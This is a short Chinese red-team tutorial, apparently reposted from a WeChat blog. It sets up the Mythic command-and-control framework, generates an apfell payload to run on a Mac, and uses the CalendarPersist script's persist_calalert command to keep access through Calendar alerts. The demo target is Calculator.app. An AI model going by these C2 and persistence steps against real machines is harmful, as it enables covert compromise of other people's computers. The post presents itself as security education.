本文只是科普macos平台的安全和权限维持
这里用到的是Mythic这款远控,维持权限用当前用户即可。
Mythic环境搭建
git clone
https://github.com/its-a-feature/Mythic
cd Mythic
./mythic-cli install github
https://github.com/MythicAgents/poseidon
./mythic-cli install github https://github.com/MythicAgents/Apollo
./mythic-cli install github
https://github.com/MythicC2Profiles/http
./mythic-cli start
./mythic-cli status
cat .env | grep 'MYTHIC_ADMIN'
mythic启动后会在.env 中创建用名和密码
启动后这样子
输入账号密码
这些都是生成payload
这里使用apfell生成一个payload
在mac电脑上执行payload
上线,我们可以用CalendarPersist进行权限维持。
CalendarPersist原理通过macOS Calendar.app警报进行编程持久化,有空可以去看文章,我这里就不分析了,我们直接用这条命令加载这个js
jsimport
加载成功
我们调用这个js,列出日历
jsimport_call list_calendars()
通过日历进行维权
jsimport_call persist_calalert("My Event","/System/Applications/Calculator.app",60,"daily",1, 3,"AE11BBDC-286D-4532-8CF4-D49F72F62648")
参考
persist_calalert(title, target, delay, frequency, interval, end, uid)
我们查看下日历是否添加成功,日历有我们新建的计划。
作者在脚本里还写了一个功能,隐藏提醒,这里我测试未成功,不知道什么原因,大家如果找到方法了,可以留言。
参考
https://labs.withsecure.com/publications/operationalising-calendar-alerts-persistence-on-macos
https://github.com/FSecureLABS/CalendarPersist
原文始发于微信公众号(红队笔记录):mac钓鱼上线及权限维持
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论